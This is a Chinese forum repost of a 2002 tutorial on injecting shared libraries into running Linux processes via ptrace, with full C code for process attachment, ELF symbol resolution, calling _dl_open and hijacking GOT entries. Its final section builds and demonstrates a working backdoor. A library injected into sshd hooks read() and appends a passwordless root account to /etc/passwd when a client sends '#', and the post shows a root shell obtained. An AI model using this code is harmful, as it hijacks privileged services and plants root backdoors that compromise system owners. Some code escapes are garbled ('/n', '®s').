最近實在是太忙了.學校畢業的事情太麻煩,手續啥的,加上公司的事情..實在沒心思寫了.特轉帖來做本系列的最終章...以後有時間空下來.再詳細開帖闡述.
望見諒.....
共享庫注射--injectso實例
作者:grip2 <[email protected]>
日期:2002/08/16
內容:
1 -- 介紹
2 -- injectso -- 共享庫注射技術
3 -- injectso的工作步驟及實現方法
4 -- 目標進程調試函數
5 -- 符號解析函數
6 -- 一個簡單的後門程序
7 -- 最後
8 -- 參考文獻
一、 ** 介紹
本文介紹的是injectso技術,重點是使用現有技術去實際的完成一個injectso程序,
而不是側重於理論上的探討。這裏希望你在閱讀這篇文章的時候對ELF、inject有一
定的瞭解,當然你也可以選擇在看完本文之後再去翻看相關的資料,也許這樣能使你
更有針對性。需要說明的是,下面介紹的技術和給出的函數都是特定於X86下的linux
的,在其它環境下可能有一些需要改變的細節,但從基本的概念和步驟上講應該是相
同的。
[separator]
二、 ** injectso -- 共享庫注射技術
使用injectso技術,我們可以注射共享庫到一個運行期進程,這裏注射的意思就是通
過某種操作使我們的.so共享庫在指定的進程中被裝載,這樣再配合上函數重定向或
其它技術,我們就可以捕獲或改變目標進程的行爲,可以做非常多的工作。同其它
inject技術相比,injectso的一些優點是:
1. 簡單 -- 僅僅通過C代碼就可以完成所有的工作;
2. 擴展性好 -- 在基礎代碼完成之後,如果要對程序功能進行增加、修改,僅需改動
.so共享庫即可;
3. 乾淨 -- 對目標進程進行注射之後,不需要留下磁盤文件,使用的程序及共享庫
都可以刪除;
4. 靈活 -- 我們可以使用它完成很多工作,例如:運行期補丁、後門程序等;
5. 目標服務不需要重新啓動;
6. 無須改動二進制文件;
7. 可以通過pax, openwall等這樣的核心補丁。
三、 ** injectso的工作步驟及實現方法
完成injectso需要以下幾個步驟:
1. 關聯到目標進程;
2. 發現裝載共享庫的函數,一般是_dl_open調用,我們將使用它裝載我們的.so共享
庫
3. 裝載指定的.so;
4. 做我們想做的,一般是通過函數重定向來完成我們需要的功能;
5. 脫離進程;
下面簡單介紹一下這幾個步驟的實現方法,由於我們是對其它進程進行操作,因此
ptrace這個linux調試API函數將頻繁的被我們使用,在<四>中,我將給出一些ptrace
包裝函數。
步驟1 -- 關聯進程
簡單的調用ptrace(PTRACE_ATTACH,...)即可以關聯到目標進程,但此後我們還
需調用waitpid()函數等待目標進程暫停,以便我們進行後續操作。詳見<四>中給出
的ptrace_attach()函數。
步驟2 -- 發現_dl_open
通過遍歷動態連接器使用的link_map結構及其指向的相關鏈表,我們可以完成
_dl_open的符號解析工作,關於通過link_map解析符號在phrack59包的p59_08(見參
考文獻)中有詳細的描述。
步驟3 -- 裝載.so
由於在2中我們已經找到_dl_open的地址,所以我們只需將此函數使用的參數添
入相應的寄存器,並將進程的eip指向_dl_open即可,在此過程中還需做一些其它操
作,具體內容見<四>中的call_dl_open和ptrace_call函數。
步驟4 -- 函數重定向
我們需要做的僅僅是找到相關的函數地址,用新函數替換舊函數,並將舊函數的
地址保存。其中涉及到了PLT和RELOCATION,關於它們的詳細內容你應該看ELF規範中
的介紹,在<四>中的函數中有PLT和RELOCATION的相關操作,而且在最後的例子中,
我們將實現函數重定向。關於函數重定向,相關資料很多,這裏不再多介紹。
步驟5 -- 脫離進程
簡單的調用ptrace(PTRACE_DETACH,...)可以脫離目標進程。
四、** 目標進程調試函數
在linux中,如果我們要調試一個進程,可以使用ptrace API函數,爲了使用起來更
方便,我們需要對它進行一些功能上的封裝。
在p59_08中作者給出了一些對ptrace進行封裝的函數,但是那太少了,在下面我給出
了更多的函數,這足夠我們使用了。要注意在這些函數中我並未進行太多的錯誤檢測
,但做爲一個例子使用,它已經能很好的工作了,在最後的例子中你將能看到這一點
。
/* 關聯到進程 */
void ptrace_attach(int pid)
{
if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ptrace_attach");
exit(-1);
}
waitpid(pid, NULL, WUNTRACED);
ptrace_readreg(pid, &oldregs);
}
/* 進程繼續 */
void ptrace_cont(int pid)
{
int stat;
if(ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
perror("ptrace_cont");
exit(-1);
}
while(!WIFSTOPPED(stat))
waitpid(pid, &stat, WNOHANG);
}
/* 脫離進程 */
void ptrace_detach(int pid)
{
ptrace_writereg(pid, &oldregs);
if(ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
perror("ptrace_detach");
exit(-1);
}
}
/* 寫指定進程地址 */
void ptrace_write(int pid, unsigned long addr, void *vptr, int len)
{
int count;
long word;
count = 0;
while(count < len) {
memcpy(&word, vptr + count, sizeof(word));
word = ptrace(PTRACE_POKETEXT, pid, addr + count, word);
count += 4;
if(errno != 0)
printf("ptrace_write failed/t %ld/n", addr + count);
}
}
/* 讀指定進程 */
void ptrace_read(int pid, unsigned long addr, void *vptr, int len)
{
int i,count;
long word;
unsigned long *ptr = (unsigned long *)vptr;
i = count = 0;
while (count < len) {
word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);
count += 4;
ptr[i++] = word;
}
}
/*
在進程指定地址讀一個字符串
*/
char * ptrace_readstr(int pid, unsigned long addr)
{
char *str = (char *) malloc(64);
int i,count;
long word;
char *pa;
i = count = 0;
pa = (char *)&word;
while(i <= 60) {
word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);
count += 4;
if (pa[0] == '/0') {
str[i] = '/0';
break;
}
else
str[i++] = pa[0];
if (pa[1] == '/0') {
str[i] = '/0';
break;
}
else
str[i++] = pa[1];
if (pa[2] == '/0') {
str[i] = '/0';
break;
}
else
str[i++] = pa[2];
if (pa[3] == '/0') {
str[i] = '/0';
break;
}
else
str[i++] = pa[3];
}
return str;
}
/* 讀進程寄存器 */
void ptrace_readreg(int pid, struct user_regs_struct *regs)
{
if(ptrace(PTRACE_GETREGS, pid, NULL, regs))
printf("*** ptrace_readreg error ***/n");
}
/* 寫進程寄存器 */
void ptrace_writereg(int pid, struct user_regs_struct *regs)
{
if(ptrace(PTRACE_SETREGS, pid, NULL, regs))
printf("*** ptrace_writereg error ***/n");
}
/*
將指定數據壓入進程堆棧並返回堆棧指針
*/
void * ptrace_push(int pid, void *paddr, int size)
{
unsigned long esp;
struct user_regs_struct regs;
ptrace_readreg(pid, ®s);
esp = regs.esp;
esp -= size;
esp = esp - esp % 4;
regs.esp = esp;
ptrace_writereg(pid, ®s);
ptrace_write(pid, esp, paddr, size);
return (void *)esp;
}
/*
在進程內調用指定地址的函數
*/
void ptrace_call(int pid, unsigned long addr)
{
void *pc;
struct user_regs_struct regs;
int stat;
void *pra;
pc = (void *) 0x41414140;
pra = ptrace_push(pid, &pc, sizeof(pc));
ptrace_readreg(pid, ®s);
regs.eip = addr;
ptrace_writereg(pid, ®s);
ptrace_cont(pid);
while(!WIFSIGNALED(stat))
waitpid(pid, &stat, WNOHANG);
}
上面給出的函數很簡單,我想不需要更多的說明。但是,還有兩個地方我想簡單說一
下,第一個是在關聯進程的函數和脫離進程的函數中對寄存器的操作是必須的,在注
射共享庫的操作最後,我們需要恢復目標進程的寄存器內容,以使目標進程正常的恢
復到運行狀態。第二個是在ptrace_call中的這處:
pc = (void *) 0x41414140;
pra = ptrace_push(pid, &pc, sizeof(pc));
在這裏,我們將無效頁面地址0x41414140壓入目標進程堆棧,這樣當程序執行完我們
指定的函數後,程序會產生錯誤中斷,所以我們就又獲得了對進程的控制權,可以繼
續下面的操作。
五、** 符號解析函數
因爲我們需要對進程中的函數調用進行重定向,所以需要對一些函數符號進行解析。
下面給出了一些解析符號的函數,你可能會發現有些變量沒有定義,這是因爲它們是
全局變量,變量的類型應該很容易確定,如果你需要使用這些函數,只要簡單聲明全
局變量即可,如果有問題,也可與我聯繫。這些函數同樣沒有太多的錯誤檢測,但是
作爲例子,它們已足夠良好的運行了。其中ELF相關的內容你也許不是很清楚,我想
認真閱讀ELF規範對你很有幫助,結合ELF與下面的實例你應該能很快的理解符號解析
/*
取得指向link_map鏈表首項的指針
*/
#define IMAGE_ADDR 0x08048000
struct link_map * get_linkmap(int pid)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
Elf32_Word got;
struct link_map *map = (struct link_map *)
malloc(sizeof(struct link_map));
int i = 0;
ptrace_read(pid, IMAGE_ADDR, ehdr, sizeof(Elf32_Ehdr));
phdr_addr = IMAGE_ADDR + ehdr->e_phoff;
printf("phdr_addr/t %p/n", phdr_addr);
ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr));
while(phdr->p_type != PT_DYNAMIC)
ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr,
sizeof(Elf32_Phdr));
dyn_addr = phdr->p_vaddr;
printf("dyn_addr/t %p/n", dyn_addr);
ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
while(dyn->d_tag != DT_PLTGOT) {
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
i++;
}
got = (Elf32_Word)dyn->d_un.d_ptr;
got += 4;
printf("GOT/t/t %p/n", got);
ptrace_read(pid, got, &map_addr, 4);
printf("map_addr/t %p/n", map_addr);
ptrace_read(pid, map_addr, map, sizeof(struct link_map));
free(ehdr);
free(phdr);
free(dyn);
return map;
}
/*
取得給定link_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息
這些地址信息將被保存到全局變量中,以方便使用
*/
void get_sym_info(int pid, struct link_map *lm)
{
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
unsigned long dyn_addr;
dyn_addr = (unsigned long)lm->l_ld;
ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
while(dyn->d_tag != DT_NULL){
switch(dyn->d_tag)
{
case DT_SYMTAB:
symtab = dyn->d_un.d_ptr;
//puts("DT_SYMTAB");
break;
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
//puts("DT_STRTAB");
break;
case DT_HASH:
ptrace_read(pid, dyn->d_un.d_ptr + lm->l_addr + 4,
&nchains, sizeof(nchains));
//puts("DT_HASH");
break;
case DT_JMPREL:
jmprel = dyn->d_un.d_ptr;
//puts("DT_JMPREL");
break;
case DT_PLTRELSZ:
//puts("DT_PLTRELSZ");
totalrelsize = dyn->d_un.d_val;
break;
case DT_RELAENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELAENT");
break;
case DT_RELENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELENT");
break;
}
ptrace_read(pid, dyn_addr += sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
}
nrels = totalrelsize / relsize;
free(dyn);
}
/*
解析指定符號
*/
unsigned long find_symbol(int pid, struct link_map *map, char *sym_name)
{
struct link_map *lm = (struct link_map *) malloc(sizeof(struct link_map));
unsigned long sym_addr;
char *str;
sym_addr = find_symbol_in_linkmap(pid, map, sym_name);
if (sym_addr)
return sym_addr;
if (!map->l_next) return 0;
ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));
sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);
while(!sym_addr && lm->l_next) {
ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));
str = ptrace_readstr(pid, (unsigned long)lm->l_name);
if(str[0] == '/0')
continue;
printf("[%s]/n", str);
free(str);
if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))
break;
}
return sym_addr;
}
/*
在指定的link_map指向的符號表查找符號,它僅僅是被上面的find_symbol使用
*/
unsigned long find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
{
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
char *str;
unsigned long ret;
get_sym_info(pid, lm);
for(i = 0; i < nchains; i++) {
ptrace_read(pid, symtab + i * sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
if (!sym->st_name || !sym->st_size || !sym->st_value)
continue;
/* 因爲我還要通過此函數解析非函數類型的符號,因此將此處封上了
if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
continue;
*/
str = (char *) ptrace_readstr(pid, strtab + sym->st_name);
if (strcmp(str, sym_name) == 0) {
free(str);
str = ptrace_readstr(pid, (unsigned long)lm->l_name);
printf("lib name [%s]/n", str);
free(str);
break;
}
free(str);
}
if (i == nchains)
ret = 0;
else
ret = lm->l_addr + sym->st_value;
free(sym);
return ret;
}
/* 查找符號的重定位地址 */
unsigned long find_sym_in_rel(int pid, char *sym_name)
{
Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
char *str;
unsigned long ret;
get_dyn_info(pid);
for(i = 0; i< nrels ;i++) {
ptrace_read(pid, (unsigned long)(jmprel + i * sizeof(Elf32_Rel)),
rel, sizeof(Elf32_Rel));
if(ELF32_R_SYM(rel->r_info)) {
ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *
sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
str = ptrace_readstr(pid, strtab + sym->st_name);
if (strcmp(str, sym_name) == 0) {
free(str);
break;
}
free(str);
}
}
if (i == nrels)
ret = 0;
else
ret = rel->r_offset;
free(rel);
return ret;
}
/*
在進程自身的映象中(即不包括動態共享庫,無須遍歷link_map鏈表)獲得各種動態信息
*/
void get_dyn_info(int pid)
{
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
int i = 0;
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
i++;
while(dyn->d_tag){
switch(dyn->d_tag)
{
case DT_SYMTAB:
puts("DT_SYMTAB");
symtab = dyn->d_un.d_ptr;
break;
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
//puts("DT_STRTAB");
break;
case DT_JMPREL:
jmprel = dyn->d_un.d_ptr;
//puts("DT_JMPREL");
printf("jmprel/t %p/n", jmprel);
break;
case DT_PLTRELSZ:
totalrelsize = dyn->d_un.d_val;
//puts("DT_PLTRELSZ");
break;
case DT_RELAENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELAENT");
break;
case DT_RELENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELENT");
break;
}
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
i++;
}
nrels = totalrelsize / relsize;
free(dyn);
}
上面的函數可能較<四>中的複雜了一些,但是它們也是容易理解的,這需要你對ELF
有一定的瞭解,我無法在這裏解釋更多的關於ELF內容,最好的和最有效的辦法是你
去閱讀規範,文後的參考文獻中給出了下載地址。
六、** 一個簡單的後門程序
有了上面介紹的函數,現在我們可以很容易的編寫出injectso程序,下面讓我們來寫
一個簡單後門程序。首先,我們回想一下前面介紹的injectso工作步驟,看看我們是
否已經有足夠的輔助函數來完成它。第1步,我們可以調用上面給出的ptrace_attach()
完成。第2步,可以通過find_symbol()找到_dl_open的地址。第3步我們可以調用
ptrace_call()來調用_dl_open,但是要注意_dl_open定義爲'internal_function',
這說明它的傳遞方式是通過寄存器而不是堆棧,這樣看來在調用_dl_open之前還需做一
些瑣碎的操作,那麼我們還是把它封裝起來更好。第4步,函數重定向,我們可以通過
符號解析函數和RELOCATION地址獲取函數找到新老函數地址,地址都已經找到,那替換
它們只是一個簡單的操作了。第5步,僅僅調用ptrace_detach就可以了。OK,看來所有
的步驟我們都可以很輕鬆的完成了,只有3還需要個小小的封裝函數,現在就來完成它:
void call_dl_open(int pid, unsigned long addr, char *libname)
{
void *pRLibName;
struct user_regs_struct regs;
/*
先找個空間存放要裝載的共享庫名,我們可以簡單的把它放入堆棧
*/
pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);
/* 設置參數到寄存器 */
ptrace_readreg(pid, ®s);
regs.eax = (unsigned long) pRLibName;
regs.ecx = 0x0;
regs.edx = RTLD_LAZY;
ptrace_writereg(pid, ®s);
/* 調用_dl_open */
ptrace_call(pid, addr);
puts("call _dl_open ok");
}
到這裏所有的基礎問題都已經解決(只是相對而言,在有些情況下可能需要解決系統
調用或臨界區等問題,本文沒有涉及,但是我們的程序依然可以很好的執行),現在
需要考慮的我們做一個什麼樣的後門程序。爲了簡單,我打算作一個注射SSH服務的
後門程序。我們只需要重定向read調用到我們自己的newread,並在newread中加入對
讀取到的內容進行判斷的語句,如果發現讀到的第一個字節是#號,我們將向/etc/passwd
追加新行"injso::0:0:root:/root:/bin/sh/n",這樣我們就有了一個具
有ROOT權限的用戶injso,並且不需要登陸密碼。根據這個思路來建立我們的.so:
[root@grip2 injectso]# cat so.c
#include <sys/types.h>
#include <stdio.h>
ssize_t (*oldread)(int fd, void *buf, size_t count);
ssize_t newread(int fd, void *buf, size_t count)
{
ssize_t ret;
FILE *fp;
char ch = '#';
ret = oldread(fd, buf, count);
if (memcmp(buf, (void *)&ch, 1) == 0) {
fp = fopen("/etc/passwd", "a");
fputs("injso::0:0:root:/root:/bin/sh/n", fp);
fclose(fp);
}
return ret;
}
我們來編譯它
[root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib
好了,我們已經有了.so,下面就僅剩下main()了,讓我們來看看:
[root@grip2 injectso]# cat injso.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "p_elf.h"
#include "p_dbg.h"
int main(int argc, char *argv[])
{
int pid;
struct link_map *map;
char sym_name[256];
unsigned long sym_addr;
unsigned long new_addr,old_addr,rel_addr;
/* 從命令行取得目標進程PID
pid = atoi(argv[1]);
/* 關聯到目標進程 */
ptrace_attach(pid);
/* 得到指向link_map鏈表的指針 */
map = get_linkmap(pid); /* get_linkmap */
/* 發現_dl_open,並調用它 */
sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */
printf("found _dl_open at addr %p/n", sym_addr);
call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意裝載的庫地址 */
/* 找到我們的新函數newread的地址 */
strcpy(sym_name, "newread"); /* intercept */
sym_addr = find_symbol(pid, map, sym_name);
printf("%s addr/t %p/n", sym_name, sym_addr);
/* 找到read的RELOCATION地址 */
strcpy(sym_name, "read");
rel_addr = find_sym_in_rel(pid, sym_name);
printf("%s rel addr/t %p/n", sym_name, rel_addr);
/* 找到用於保存read地址的指針 */
strcpy(sym_name, "oldread");
old_addr = find_symbol(pid, map, sym_name);
printf("%s addr/t %p/n", sym_name, old_addr);
/* 函數重定向 */
puts("intercept..."); /* intercept */
ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
puts("injectso ok");
/* 脫離進程 */
ptrace_detach(pid);
exit(0);
}
現在所有的工作都已經做好,你需要的是把上面介紹的函數都寫到自己的.c程序文件
中,這樣就可以編譯了,我們來編譯它
[root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall
[root@grip2 injectso]# ls
injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so
ok,啓動ssh服務,並開始注射
[root@grip2 injectso]# /usr/sbin/sshd
[root@grip2 injectso]# ps -aux|grep sshd
root 763 0.0 0.4 2676 1268 ? S 21:46 0:00 /usr/sbin/sshd
root 1567 0.0 0.2 2004 688 pts/0 S 21:57 0:00 grep sshd
[root@grip2 injectso]# ./injso 763
phdr_addr 0x8048034
dyn_addr 0x8084c2c
GOT 0x80847d8
map_addr 0x40016998
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
lib name [/lib/i686/libc.so.6]
found _dl_open at addr 0x402352e0
call _dl_open ok
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
newread addr 0x40017574
DT_SYMTAB
jmprel 0x804ac9c
read rel addr 0x8084bc0
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
oldread addr 0x40018764
intercept...
new_addr 0x401fc530
injectso ok
注射成功,測試一下,看看效果,可以在任何機器上telnet被注射機的22端口,
並傳送一個#號
$ telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-1.99-OpenSSH_2.9p2
# <-------------------我們輸入#號,並回車
Protocol mismatch.
Connection closed by foreign host.
看看後門是否起作用了,登陸系統:
localhost login: injso
Last login: Sat Aug 17 21:58:40 from :0
sh-2.05#
OK,得到了ROOT,測試成功。
七、** 最後
在學習injectso的過程中,我閱讀了一些相關的資料,但是我發現可能是由於injectso中
涉及到的某些技術已經非常成熟和普及,因此很難找到一個從整體上完整的描述injectso
的文章,你能發現的是很多的文章都只是對其中的某一個技術環節進行探討,這樣對初學
者而言,就不容易去完整的理解injectso,也就不能很快的去應用它。爲了掃除這個障礙,
我寫了這篇文章,當然由於水平有限,文章的重點也僅僅是放在提供一點思路幫助你去快
速的建立一個injectso上,而對相關的技術沒有深入的探討,不是不可以在這裏介紹,而
是感覺實在是有點班門弄斧,更好的技術文章很多,象injectso3.ppt就很不錯,我建議你
去仔細的閱讀它。
最後,如果您對本文有什麼意見或建議,請EMAIL給我,我也很希望知道您的看法。
希望更多的交流 -- E-mail <[email protected]>
八 ** 參考文獻
http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz
http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt
ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz
http://www.big.net.au/~silvio/lib-redirection.txt
http://online.securityfocus.com/data/library/subversiveld.pdf